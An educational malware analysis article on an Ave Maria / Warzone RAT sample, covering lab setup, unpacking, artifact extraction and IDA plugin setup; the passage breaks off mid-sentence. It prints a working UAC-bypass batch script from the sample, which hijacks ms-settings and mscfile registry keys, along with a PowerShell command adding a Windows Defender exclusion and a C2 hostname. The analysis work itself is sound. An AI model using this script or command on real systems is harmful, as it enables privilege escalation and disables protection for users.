# Malware Analysis Series (MAS): Article 6 **by Alexandre Borges** **release date: NOVEMBER/24/2022 | rev: A.1** ## 0. Quote **_“Long is the way and hard, that out of Hell leads up to Light.”. (Paradise Lost - John Milton 1667, and also_** _mentioned by Detective Somerset | “Seven” movie -- 1995 )_ ## 1. Introduction Welcome to the the sixth article of Malware Analysis Series, where we are keeping reviewing concepts, techniques and practical steps used for analyzing malicious PE binaries. If readers have not read past articles yet, all of them are available on the following links: - **[MAS_1: https://exploitreversing.com/2021/12/03/malware-analysis-series-mas-article-1/](https://exploitreversing.com/2021/12/03/malware-analysis-series-mas-article-1/)** - **MAS_2:** [https://exploitreversing.com/2022/02/03/malware-analysis-series-mas-article-2/](https://exploitreversing.com/2022/02/03/malware-analysis-series-mas-article-2/) - **[MAS_3: https://exploitreversing.com/2022/05/05/malware-analysis-series-mas-article-3/](https://exploitreversing.com/2022/05/05/malware-analysis-series-mas-article-3/)** - **MAS_4:** [https://exploitreversing.com/2022/05/12/malware-analysis-series-mas-article-4/](https://exploitreversing.com/2022/05/12/malware-analysis-series-mas-article-4/) - **[MAS_5: https://exploitreversing.com/2022/09/14/malware-analysis-series-mas-article-5/](https://exploitreversing.com/2022/09/14/malware-analysis-series-mas-article-5/)** To keep the coherence of what we have done so far, all malware samples being analyzed are available from the well-known sandbox services such as Triage, Malware Bazaar, Virus Total, Malshare, Polyswarm and other ones. If you wish, you can use Malwoverview tool [(https://github.com/alexandreborges/malwoverview) to](https://github.com/alexandreborges/malwoverview) download them and, get first information and analysis of the each sample from all of these services. This article reviews procedures involved and developed to analyze malware since getting basic information about the binary until extracting essential information from the binary itself. Eventually, taken steps could be terribly similar to followed in previous articles, but the truth is that each malware brings a different context and unexpected challenges that forces us to choose a different approach to proceed with our analysis and, sometimes, we need to use different tools and methodologies to get a better understanding of the code and the malicious code. Of course, it is not possible to get the big picture of a malware attack without have analyzed all artifacts and code associated with mentioned campaign, but our purpose here is only learning and getting key information from the binary because, though it is one of pieces of puzzle, it takes a considerable number of pages to explain only few related details. 1 | P a g e ----- We will be analyzing few aspects of the Ave Maria malware, which is sometimes viewed as the WARZONE RAT or even a derivation from it. Initially, my objective would be to analyze a simple malware to review some of the concepts taught in previous articles and, this way, to close a first cycle of fundamental articles to be able to proceed to other topics, but I was surprised when I noticed that this sample has a customized RC4 algorithm and, of course, my plans also changed. Actually, it does not make the sample harder to analyze, but the stage of writing a C2 configuration extractor takes a bit more time. Personally, I hadn’t seen Ave Maria samples using this algorithm previously, but afterwards other similar sample appeared, and this reinforce the need of writing an appropriate extractor. In general, there is not anything really special on this sample because it’s a typical malware threat and family, but any binary is always able to help us to learn news concepts and tricks. ## 2. Acknowledgments I would like to publicly thank Ilfak Guilfanov (@ilfak) and Hex-Rays (@HexRaysSA) for supporting this project by providing me with a personal license of the IDA Pro. My gratitude is endless because certainly I could not keep writing this series without a personal license (without depending on corporate licenses). Honestly, I do not have enough words to say how happy, thankful, and fortunate I feel myself in receiving their help. Although it is already much more than I would be able to dream in receiving, last June/2022 **Ilfak and Hex-Rays once again kindly agreed in helping me by providing new licenses of IDA Pro for** macOS/iOS and Linux due to new series I just started writing and planned to release as soon as possible. Personally, all words from Ilfak expressing his trust and praise about this series of articles until now are the most important for me. Once again: thank you for everything, Ilfak. ## 3. Environment Setup This article uses a lab setup that reflects the following environment: - **Windows 11 running on a virtual machine. You’re able to download a virtual machine for** **[VMware, Hyper-V, VirtualBox or Parallels from Microsoft on: https://developer.microsoft.com/en-](https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/)** [us/windows/downloads/virtual-machines/. If you already have a valid license for Windows 11, so](https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/) [you can download the ISO file from: https://www.microsoft.com/software-download/windows11](https://www.microsoft.com/software-download/windows11) - **IDA Pro or IDA Home version (@HexRaysSA):** [https://hex-rays.com/ida-pro/](https://hex-rays.com/ida-pro/) . Of course, readers might use other reverse engineering tool, but I will be using IDA Pro and its decompiler in this article. - **System Informer (Process Hacker):** - Install Visual Studio 2022, including MSVC v143 Spectre-mitigated libs (latest). 2 | P a g e ----- - **git clone https://github.com/winsiderss/systeminformer.git** - cd systeminformer\build - .\build_release.cmd - Go to systeminformer\build\output - Execute processhacker-build-setup.exe - **x64dbg(@x64dbg):** [https://x64dbg.com/](https://x64dbg.com/) - **PEBear (@hasherezade):** [https://github.com/hasherezade/pe-bear-releases](https://github.com/hasherezade/pe-bear-releases) - **DiE (from @horsicq):** [https://github.com/horsicq/DIE-engine/releases](https://github.com/horsicq/DIE-engine/releases) - **CFF Explorer:** [https://ntcore.com/?page_id=388](https://ntcore.com/?page_id=388) - **HxD editor:** [https://mh-nexus.de/en/hxd/](https://mh-nexus.de/en/hxd/) - **Malwoverview:** [https://github.com/alexandreborges/malwoverview](https://github.com/alexandreborges/malwoverview) - **[pestudio: https://github.com/alexandreborges/malwoverview](https://github.com/alexandreborges/malwoverview)** - **wireshark:** [https://www.wireshark.org/#download](https://www.wireshark.org/#download) | apt install -y wireshark - **Floss:** **[pip install -U flare-floss | https://github.com/mandiant/flare-floss/releases/tag/v2.0.0](https://github.com/mandiant/flare-floss/releases/tag/v2.0.0)** - **Capa:** **[pip install -U flare-capa | https://github.com/mandiant/capa/releases](https://github.com/mandiant/capa/releases)** ## 4. References Indeed, there’re many references about the Ave Maria trojan/backdoor (as known as Warzone Rat or, at least, a derivation from it) and, although I haven’t had enough time to read them, I recommend readers to do it because they were written by excellent security researchers and companies, which covered and analyzed several aspects of the same family, and readers can learn what’s more appropriate for their work. The list below does not have any preferred order: - [https://any.run/malware-trends/avemaria](https://any.run/malware-trends/avemaria) - [https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-](https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies) [scriptkiddies](https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies) ### ▪ https://team-cymru.com/blog/2019/07/25/unmasking-ave_maria/ - [https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html](https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html) - [https://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-](https://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery) [delivery](https://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery) - [https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/](https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/) - [https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-](https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/) [from-various-office-documents/](https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/) - [https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-](https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html) [Flood-Victims-with-RAT-Payloads.html](https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html) - [https://www.domaintools.com/resources/blog/warzone-1-0-rat-analysis-report](https://www.domaintools.com/resources/blog/warzone-1-0-rat-analysis-report) If you need and additional and much more complete resource, which contains most references related to Ave Maria threat, so the recommendation is to visit Malpedia website: - [https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria](https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria) 3 | P a g e ----- **Malwoverview tool offers the possibility to get Ave Maria information and any other family from Malpedia** on command line by executing the following: **[Figure 1] Ave Maria’s information retrieved from Malpedia by using Malwoverview** ## 5. Recommended Blogs and Websites There are excellent cyber security researchers keeping blogs and writing really good articles related to reverse engineering, malware analysis, windows internals, and digital forensics, so readers could be interested in reading and following their contents. I tried googling to make a quick and sorted list in **alphabetical order as follow below:** - [https://hasherezade.github.io/articles.html](https://hasherezade.github.io/articles.html) **(by Aleksandra Doniec: @hasherezade)** - [https://malwareunicorn.org/#/workshops](https://malwareunicorn.org/#/workshops) **(by Amanda Rousseau: @malwareunicorn)** - [https://captmeelo.com/](https://captmeelo.com/) **(by Capt. Meelo: @CaptMeelo)** - [https://csandker.io/](https://csandker.io/) **(by Carsten Sandker: @0xcsandker)** - [https://chuongdong.com/](https://chuongdong.com/) **(by Chuong Dong: @cPeterr)** - [https://elis531989.medium.com/](https://elis531989.medium.com/) **(by Eli Salem: @elisalem9)** - [https://hex-rays.com/blog/](https://hex-rays.com/blog/) **(by Hex-Rays: @HexRaysSA)** - [https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering](https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering) **(by Jiří Vinopal:** **@vinopaljiri)** - [https://kienmanowar.wordpress.com/](https://kienmanowar.wordpress.com/) **(by Kien Tran Trung:** **@kienbigmummy)** - [https://www.inversecos.com/](https://www.inversecos.com/) **(by Lina Lau: @inversecos)** - [https://maldroid.github.io/](https://maldroid.github.io/) **(Łukasz Siewierski: @maldr0id)** 4 | P a g e ----- - [https://www.ragingrock.com/AndroidAppRE/](https://www.ragingrock.com/AndroidAppRE/) **(by Maddie Stone: @maddiestone)** - [https://azeria-labs.com/writing-arm-assembly-part-1/](https://azeria-labs.com/writing-arm-assembly-part-1/) **(by Maria Markstedter: @Fox0x01)** - [https://github.com/mnrkbys](https://github.com/mnrkbys) **(by Minoru Kobayashi: @unkn0wnbit)** - [https://windows-internals.com/author/yarden/ (by Yarden Shafir @yarden_shafir)](https://windows-internals.com/author/yarden/) Certainly, there’re many other excellent blogs containing good series of articles on reverse engineering and malware analysis., so I’ll include these references as soon as I learn about them in next articles. ## 6. Gathering Information 1 This Ave Maria sample downloaded from Malware Bazaar and its SHA 256 hash is: **6da3064773edf094f014b7aa13f2e3f74634f62552a91f88bf306f962bbf0563** First time I learned about this sample was through message shared by James (@James_inthe_box) on his Twitter account few months ago: - [https://twitter.com/James_inthe_box/status/1551605691701374977](https://twitter.com/James_inthe_box/status/1551605691701374977) Readers can download it easy by using Malwoverview: - **malwoverview.py -b 5 -B** **6da3064773edf094f014b7aa13f2e3f74634f62552a91f88bf306f962bbf0563 -o 0** The password is “infected” and to unpack it I suggest you use: 7z e command. If readers want to find other Ave Maria malware samples from Malware Bazaar, so Malwoverview tool might be used again: **[Figure 2] Ave Maria samples available on Malware Bazaar** 5 | P a g e ----- Of course, to simplify the operation, readers could use grep command to show SHA256 hashes: **[Figure 3] Ave Maria SHA256 hashes from Malware Bazaar** Returning to our sample, we can get first information about it by checking Virus Total database: **[Figure 4] Virus Total AV reports using Malwoverview** 6 | P a g e ----- Checking for past reports on Triage we the following output (truncated): **[Figure 5] Triage Report List** We can examine one of them by providing its respective ID in the next command below: **[Figure 6] Triage Summarized Report** 7 | P a g e ----- Checking for the dynamic/behavior report from Virus Total we have the following output: **[Figure 7] Dynamic Behavior Report from Virus Total** 8 | P a g e ----- After getting tons of information about the malware sample, we have the following evidence: - It could have a downloader functionality and, eventually, dropping a binary or even script onto the filesystem. - It apparently performs injection, but this time we do not know whether it’s a self-injection or remote injection. - It contacts different IPs (maybe there could be a set of C2, but we do not know yet). - Many processes are started, and two of them seems to be a DLL (due to rundll32.exe) and a script (Scxozm0.bat). - It adds a directory into the Windows Defender’s whitelist. - There is a process running a DLL (COM Object) using dllhost.exe (COM Surrogate), but we do not know from where it is coming. - The contacted domain (morientlines.com) is really malicious, but it is not the final. You can confirm it by getting further information from Virus Total: malwoverview.py -v 7 -V morientlines.com -o 0 ## 7. Unpacking the sample and getting artifacts First, we must unpack the malware. Before performing the unpacking, it is worth to check it using DiE: **[Figure 8] DiE report of the downloaded sample** According to the output above, it is an executable 32-bit binary and compiled with Borland Dephi. There are malware packers using Borland Dephi compilers to conceal the real malware inside the original sample and maybe this is the case. Of course, there are multiple other artifacts such high entropy of sections, high total entropy (7.04007) and not explicit imported functions/DLLs related to network communication, although it imports COM related functions: 9 | P a g e ----- **[Figure 9] PE Bear – sample before unpacking** Being very direct, to unpack this sample would be enough to run it and extract it from memory using **Process Hacker / System Informer. However, let us setup few breakpoints (CTRL+ G → target function →** **F2) to follow few details:** - **WriteProcessMemory** - **WriteFile** - **NtResumeThread** We can optionally do other supplemental alternatives that might bring more information to our analysis: - **Keep the Wireshark running to collect network information.** - **Configure PowerShell Logging** - **Disable ASLR of the binary or entire system.** Of course, readers do not need to do these steps and it is your choice to configure them. Anyway, as running Wireshark is trivial, so should remember how to enable PowerShell logging. 1. launch Local Group Policy (gpedit). 2. Go to Administrative Templates → Windows Components → Windows PowerShell and turn on the following settings: **a.** **Module Logging** **b.** **PowerShell Script Blocking Logging** **c.** **PowerShell Transcription** 10 | P a g e ----- Please, pay attention to Module Logging and PowerShell Transcription because both options request you provide short details. For example, in my case, I configured the transcription directory as “C:\PowerShell_Transcription”: **[Figure 10] PowerShell Logging configuration** The next step is to disable the ASLR for the entire system or even to the specific binary (to this binary is not necessary because the ASLR flag is not marked). Only to refresh the reader, the necessary steps are: - Go to HKLM\System\CurrentControlSet\Control\Session Manager\Memory Management - Create an entry value named MoveImages with 0x00000000 (REG_DWORD). - **Reboot the system.** **[Figure 11] Disabling ASLR for the entire system** 11 | P a g e ----- Of course, the big advantage is that, while debugging the binary on x64dbg/x32dbg, all addresses match between themselves. If readers do not want or even can not to disable ASLR, so another alternative is **rebasing the program. If the reader is not aware about how to do it, so the base address of running binary** can be acquired from the debugger, as shown below: **[Figure 12] x32dbg: showing the base address** Having the base address, so open the IDA Pro and go to Edit → Segments → Rebase Program: **[Figure 13]IDA Pro rebasing** 12 | P a g e ----- Only to underscore a point: for sure, you can disable ASLR or perform rebasing any time, but it can be more useful AFTER unpacking the binary, when you have the actual malicious executable on hands and need **to debug it.** As we did in the last article, you could have chosen using the CFF Explorer and “removed” the ASLR **characteristic, as shown below:** **[Figure 14] CFF Explorer: ASLR manipulation** Returning to the x64dbg debugging session, we’ve setup only three breakpoints, you run the malware sample. Few recommendations and notes: - If you hit an exception, so you should pass it to debugger (SHIFT+F9). - Keep both System Informer (Process Hacker) and/or Process Explorer opened. - Hits on NtResumeThread breakpoint are used to control the execution. - There will be hits on WriteFile breakpoint, so the suggestion is examining what is being written onto filesystem. - It would be interesting to create a folder to save all “artifacts” (files) saved during the debugging session. - When the “WriteProcessMemory” breakpoint is hit, so you we can search for a new binary on memory (Memory Map) and, to accomplish this task, the “Find Patterns” feature is extremely useful. - Keep eyes on Process Explorer / System Informer because a new “identical” process will be **generated in suspended mode and we will have to open a second instance of x64dbg, attach it to** **this new process and setup** **a breakpoint at its beginning (entry point).** - Set the same breakpoints in the second debugging session. We could have analyzed the original packed malware to understand how it works and its behavior while unpacking, but task could take time right now and divert our focus from what is really important. 13 | P a g e ----- **[Figures 15 and 16] Process Explorer: Artifacts** Both Process Explorer outputs present interesting information, which help us to get a better comprehension about what is happening: - Two scripts (C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\Scxozmt.bat"” and **Scxozmt.bat) are executed and, although is not shown in the figures, a PowerShell execution also** occurs. Actually, the second script is a launcher of the first one. - A PE binary (C:\Users\Administrator\AppData\Local\Temp\198.exe) in written onto file system and also executed. 14 | P a g e ----- - An interesting aspect is this PE binary’s name changes in different sessions, and it is an UPX file. Its **SHA256 hash is 0df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c.** **[Figures 17] Process Explorer: the script saved to filesystem** The Scxozmt.bat script, which is responsible for a UAC bypassing (there’s a long list of bypassing techniques on https://github.com/redcanaryco/atomic-red[team/blob/master/atomics/T1548.002/T1548.002.md) by using ComputerDefaults.exe to define an](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md) **exclusion path for Windows Defender, has the following content:** - **start /min C:\Users\Public\Libraries\ScxozmO.bat & exit** The ScxozmO.bat script has the following content: **@echo off** **set mypath=%cd%** **if "%~1" equ "" (set saka=%mypath%\Cdex.bat) ELSE set "saka=%~1"** **net session >nul 2>&1 || goto :label** **%saka%** **exit /b 2** 15 | P a g e ----- **:label** **::REQUIREMENTS** **whoami /groups|findstr /i "\" >nul 2>&1** **if ERRORLEVEL 1 exit /b 1** **::Windows Version** **for /f "tokens=4-5 delims=. " %%i in ('ver') do set WIN_VER=%%i.%%j** **::aka Level** **:: 2 High** **:: 5 Default** **:: 0 None** **set key="HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System"** **for /f "skip=2 tokens=3" %%U in ('REG QUERY %key% /v ConsentPromptBehaviorAdmin') do set** **/a "aka=%%U"** **::EXPLOIT** **if %aka% equ 2 exit /b 1** **if %aka% equ 5 (** **for %%V in (6.1 6.2 6.3) do if "%WIN_VER%" == "%%V" call :exploit mscfile** **CompMgmtLauncher.exe %saka%** **if "%WIN_VER%" == "10.0" call :exploit ms-settings ComputerDefaults.exe %saka%** **)>nul 2>&1** **if %aka% equ 0 powershell -c Start-Process "%saka%" -Verb runas** **exit /b 0** **:exploit ** **set regPath="HKCU\Software\Classes\%1\shell\open\command"** **reg add %regPath% /d "%~3" /f** **reg add %regPath% /v DelegateExecute /f** **%~2** **reg delete "HKCU\Software\Classes\%1" /f** **exit /b** The referred PowerShell script is executed, extracted from PowerShell Transcription Logging, is: - **powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -** **Command Add-MpPreference -ExclusionPath 'C:\Users'** As stated previously, the PowerShell script is adding an exclusion path to Windows Defender engine. Returning to the binary execution, different artifacts appear during the execution and, obviously, we don’t have time to analyze all of them here, but I’ll try to highlight few of them to illustrate a bit what’s happening in this infection context. Checking the memory of the first running process, we can find a small RWE region (28K) containing a possible PE binary there and it is a mapped version because we can observe its first section starting at 0x1000. However, that is not important because it comes from a plugin, so forget it: 16 | P a g e ----- **[Figure 18] System Informer: a small RWX region coming from a plugin** **[Figure 19] System Informer: a likely mapped region in a PE executable** 17 | P a g e ----- The other extracted binary from memory is the following one: **[Figure 20] PE Bear: second PE executable extracted from memory** According to the figure above, readers should notice that at end this file is only a stub for the following steps in the infection process, and there’re only the basic functions to do that: GetProcAddress and **LoadLibrary. As it was extracted from memory (so it was a mapped version), I fixed its section headers:** **[Figure 21] PE Bear: fixed second PE executable extracted from memory** To remember this procedure: - I found an ERW region containing the PE binary on the Memory Map view of x32dbg, right clicked and picked up “Dump Memory to File” option. 18 | P a g e ----- - I opened into PE Bear and, as section headers were unaligned, so I needed to fix them. To fix them: `o` I copied the Virtual Address to Raw Address column for each section. `o` I calculated the difference of offset from one section to the next one and filled up the Raw **Size column.** `o` I copied both calculated values from Raw Size to Virtual Size. `o` I fixed the Image Base in Optional Hds tab by using the same address that makes part of this dumped file (0x7FB00000). `o` I saved the resulting and fixed file by right clicking on the top left filename and choosing “Save the executable as”. As I mentioned previously, soon the second and suspended process has appeared (Hollowing code injection technique), I launched a second instance of the x32dbg and attached to the mentioned process and, in the Symbol tab, I setup a breakpoint at the entry point, as shown below: **[Figure 22] Breakpoint configured on the entry point of the second x32dbg** Once again, readers could setup same breakpoints on the second x32dbg session and, thus, on the second stage (injected code). No doubts, along of two debugging sessions, the breakpoint on WriteFile( ) will reveal a list of files (binaries and non-binaries) being saved in file system, so there will be other potential artifacts to be analyzed. Of course, we will not analyze all of them and, eventually, we’ll quickly analyze only one of them. The first acquired was written as C:\Users\Administrator\AppData\Local\Temp\198.exe. 19 | P a g e ----- This file (SHA256: 0df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c) is packed using UPX and, after unpacking it (upx -d ), we found out it is a DLL (SHA256: **62a82545cd72194ee431c5c3fe86030d2bdd837cc729bdced20cd0d9cb319dd8) that has the following Virus** Total evaluation: **[Figure 23] Virus Total: extracted and unpacked 198.exe file** A quick overview of the Imported functions shows us the following: **[Figure 24] PE Bear: imported function of 198.exe file** 20 | P a g e ----- Clearly this binary has network communication functions and two of these clues are the WS2_32.dll (WinSock 2) and IPHLPAPI.dll (importing GetIpAddrTable( ) and GetBestRoute( ) APIs). A second file file came up (named mas_6_086B0000.bin) and, according to the following figure, readers can notice it was found through the breakpoint on WriteFile( ): **[Figure 25] Breakpoint on WriteFile: revealing new artifacts** Saving this dump from memory, readers can also notice it is a new binary using relevant functions imported from kernel32.dll, as shown below: **[Figure 26] PE Bear: the second binary got from breakpoint on WriteFile** 21 | P a g e ----- This binary, according to the Virus Total, it is an RDP wrapper and given as malicious. It’s a wrapper [(there’s a well-known project on https://github.com/stascorp/rdpwrap, but you are able to find many](https://github.com/stascorp/rdpwrap) other ones that are similar) that’s has been used over several red team operations and by malware actors in general, and presents several functionalities as being able to enumerate running servers, creating **services (persistence), dropping PE files, modifying firewall configuration (opening 3389 port), injecting** **code, gathering system information, stealing information (keystrokes) and many other activities:** **[Figure 27] PE Bear: the second binary, RDP Wrapper, verified against VT** Additionally, another file (the third one) was extracted (first named as mas_6_08B90000.bin, but finally renamed as rdprwrap.ini), which is the configuration file of the RDP Wrapper mentioned above. Although I will not focus in explaining details of this configuration file and neither to show its content because it is too large, readers are able to follow the moment it is extracted onto the the file system (C:\Program Files\Microsoft DN1\rdpwrap.ini) by using the same breakpoint on WriteFile function, as shown below: 22 | P a g e ----- **[Figure 28] PE Bear: rdpwrapper.ini being saved onto filesystem** A fourth file (named mas_6_009E7000.bin -**4b085a71dd06ba80be337990ddea71b1de63469107ea719d7e2207e700716139) has came up from the** debugging process using the WriteFile breakpoint. However, it is legit DLL (rfxvmt.dll) and, as it is clean, we will not comment about it here. The fifth (mas_6.bin_0x660000-0x15c000.bin) and sixth (mas_6.bin_0xa80000-0x15a000.bin) files can be easily extracted from memory using System Informer (Process Hacker) as shown below: **[Figure 29] System Informer (Process Hacker): two regions with injected code** 23 | P a g e ----- Readers can do it by double clicking on the malicious process → **Memory Tab and, using Option button,** mark “Highlight executable pages,” as shown below: **[Figure 30] System Informer (Process Hacker): highlighting executable pages** The content of both files can be visualized with a double-click and, as readers can confirm, they are PE files: **[Figure 31] System Informer (Process Hacker): visualizing the PE file in the region** 24 | P a g e ----- **[Figure 32] System Informer (Process Hacker): visualizing the PE file in the second region** The fifth file (mas_6.bin_0x660000-0x15c000.bin – renamed here as file_5.bin) is classified as being _“Morphine” according to VT (before submitting it, readers will have to fix its PE sections using PEBear as I_ explained previously): **[Figure 33] Malwoverview: fifth file submitted to Virus Total** 25 | P a g e ----- The sixth extracted file (mas_6.bin_0xa80000-0x15a000.bin – renamed here as file_6.bin) also has its **section headers misaligned and readers need to fix them (do not forget to fix the base address too) using** **PE Bear as shown below:** **[Figure 34] PE Bear: aligning section headers and fixing import table** This sixth file has relevant imported DLLs such as Bcrypt.dll, WS2_32.dll, urlmon.dll, NETAPI32.dll (NetUserAdd and NetLocalGroupAddMembers functions) and WININET.dll, for example, and it is the running process after all of this infection process. 26 | P a g e ----- Submitting the sample to Virus Total we have: **[Figure 35] Malwoverview: submitting and collecting report from Virus Total** As reader can confirm, the artifact is considered malicious by most antiviruses, it is an info-stealer, but there isn’t certain that it’s an Ave Maria / Warzone Rat. To supplement the information, I checked whether the sample was present on Triage and, apparently, there was not: **[Figure 36] Malwoverview: checking the existence of the sample on Triage** As this sample did not exist on Triage, so I submitted it and, a couple of minutes later, I recovered the report as shown on the next page: 27 | P a g e ----- 28 | P a g e **[Figure 37] Malwoverview: recovering the** **sample’s report from Triage.** ----- As we could confirm, we are really handling with Ave Maria | Warzone RAT. It’s valid to highlight that I **didn’t submit the unpacked sample when the C2 was alive, but only more than two weeks later.** Therefore, Triage and Virus Total had not enough conditions for producing a more detailed report. Anyway, I collected other IOCs when C2 servers was alive (at same day that it was reported on Twitter by _James:_ **_@James_inthe_box) and the Process Explorer shows the established connection with the server:_** **[Figure 38] Process Explorer: recovering the sample’s report from Triage.** Checking handles associated to the process is another recommended action and, not surprisingly, we found evidence of the unpacked payload’s network communication. Observe that there are lines that are highlighted with the cyan color, and they are \Device\Afd (AFD: **Ancillary Function Driver), which is related to afd.sys driver and, as readers could expect, it is one of** **responsible drivers for managing network communication through Winsock2, as shown below:** **[Figure 39] System Informer: highlighted handles related to network communication** Observing the final unpacked payload running through System Informer (Process Hacker) we have: 29 | P a g e ----- **[Figure 40] System Informer: final payload running** It’s interesting to notice that its image coherence is not 100% because the image is running on memory isn’t the same of the image saved onto disk due to injected code regions that we discovered. Examining the security token, we also learned that SeDebugPrivilege was enabled on runtime: **[Figure 41] System Informer: SeDebugPrivilege enabled on runtime** This is the kind of powerful privilege because the process holding this privilege can acquire any process handle, inspect and, in general, access any process. Additionally, according to Microsoft, the definition of this privilege is “Required to debug and adjust the memory of a process owned by another account” [(https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants).](https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants) Therefore, we can infer that a possible or similar API sequence as the one shown were eventually used for obtaining this result: a. **LookupPrivilegeValue( ): it retrieves the locally unique identifier, which is used to represent the** privilege name. b. **GetTokenInformation( ): it retrieves information about a given access token.** c. **AdjustTokenPrivileges( ): it enables/disables privileges for a given token.** **Pay attention: I didn’t state this sequence has been used for this binary, but that it’s a possible sequence** of functions to change the privilege on runtime. For example, GetTokenInformation( ) wouldn’t really needed to accomplish the objective. Anyway, I think that readers have understood the general idea. 30 | P a g e ----- To acquire further information and trace a functional profile of the final payload, I prefer using capa tool **(from Mandiant) as** shown below: **[Figure 42] Capa: getting vital information about the binary for later static analysis** There’s crucial information that will help us during the reverse engineering later: - the threat is using RC4 symmetric algorithm (maybe related encrypted C2 servers). - **SHA1 hash (160-bit) is being used. In other malware families such as Hancitor, this algorithm is** used to generate a key. - the sample contains an embedded PE file. This time we don’t know whether is one of the extracted sample or, eventually, a new one. - **PE parsing is occurring. Although we don’t have any clue this time, this activity could be related a** hashing algorithm, for example. However, once again, we don’t have any idea yet. Certainly, I’ll be using Flare Capa Explorer during the reverse engineering section later in this article. 31 | P a g e ----- I also checked whether there was any stack string through the floss tool (from Mandiant), which is always an additional problem during the reverse engineering phase, but fortunately there wasn’t anything critical: **[Figure 43] Floss: using Floss tool to check for possible stack strings** It seems that is enough, but it isn’t. If we quickly examine strings on runtime (System Informer → Memory → Options → Strings… → (minimal length: 10) → OK), we can get an interesting list of clues: - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup - %ProgramData%\Microsoft\Windows\Start Me - mosesmanservernew.hopto.org - cmd.exe /C ping 1.2.3.4 -n 4 -w 1000 > Nul & cmd.exe /C - nevergonnagiveyouup - [Ave_Maria Stealer OpenSource github Link: https://github.com/syohex/java-simple-mine-sweeper](https://github.com/syohex/java-simple-mine-sweeper) - China Petroleum & Chemical Corp!,(c) 1997-2005 e-merge GmbH, http://www.emerge.de - %02d-%02d-%02d_%02d.%02d.%02d - Software\Microsoft\Windows\CurrentVersion\Run\ - Microsoft-Windows-RemoteDesktopServices-RemoteFX-VM-User-Mode-Transport/Debug - HTTP Password - SMTP Password - IMAP Password - SMTP Password These are only few strings from over 8 thousand ones, but they are interesting because they might indicate: - persistence 32 | P a g e ----- - testing Internet connection - malware family’s name - mac address - C2 URL - Stealing passwords If readers examine strings a bit more, the new findings are also interesting. For example, it seems that malware sample is stealing and query information from a list of browsers databases: **[Figure 44] System Informer: strings indicate SQL Lite activity** ## 8. Reversing In this reversing section, I’ll be using IDA Pro 8.1, but I’ll be also using IDA Pro 7.7. The reason for using IDA **Pro 7.7 is that Flare Capa Explorer and other Mandiant plugins doesn’t support IDA Pro 8.1 in this exact** moment I’m writing this text. About the IDA Pro 8.1, it was released containing news: - [https://hex-rays.com/products/ida/news/8_1/](https://hex-rays.com/products/ida/news/8_1/) Although I’ve already written about the setup configuration steps to install few IDA plugins in previous articles, I’ll be repeating them to help readers and also adding new suggested plugins: To configure any IDA Pro plugin, you must be sure that IDA Pro is using the same Python version that your system is configured to use. Thus, to check which Python version is configured with your IDA Pro 8.1, open it up and, in the IDA Python prompt, type: - **import sys** - **sys.version** 33 | P a g e ----- If you need to change the configured Python for IDA Pro, you can do it through the “idapyswitch.exe” command, which is available on the IDA Pro installation folder (in my case: C:\Program Files\IDA Pro 8.1). Of course, readers can follow the same steps for IDA Pro 7.x. Therefore, instructions for configuring a brief list of IDA Pro plugins follow below even I don’t use all of them in this specific article: **a.** **Flare Capa Explorer** This plugin is excellent to detect capabilities of executable files inside the IDA Pro. In special, I like it because it helps to detect and identify crypto-algorithms, persistence, evasion techniques and network communication. At this time that I’m drafting the article, it doesn’t support IDA Pro 8.1, so I’ll be configuring it for IDA Pro 7.7: To install it, execute the following commands and tasks: - **pip install wheel** - **pip install -U flare-capa or pip install git+https://github.com/mandiant/capa** - **[clone the capa: git clone http://github.com/mandiant/capa.git.](http://github.com/mandiant/capa.git)** - **[clone the capa-rules: git clone -b v4 https://github.com/mandiant/capa-rules.git](https://github.com/mandiant/capa-rules.git)** - copy the capa_explorer.py plugin to IDA plugin directory. In my case: `o` C:\github\capa\capa\ida\plugin> cp capa_explorer.py "C:\Program Files\IDA Pro **7.7\plugins"** - On IDA Pro, load the binary and, eventually, it’d recommended to select Manual Load and Load **Resources for getting better results. However, you wouldn’t need to load the overlay.** - Go to Edit → Plugin → Flare capa explorer and select “Program Analysis” tab. From there, click on the “Analysis” button, which will prompt you to select the folder containing the capa rules (in my case, C:\github\capa-rules). - **Note: from time to time, don’t forget to update capa and capa-rules using “git pull” command,** and copy the updated plugin’s version to the correct place mentioned above. **b.** **ApplyCalleType and StructTyper plugins** These steps work for IDA Pro 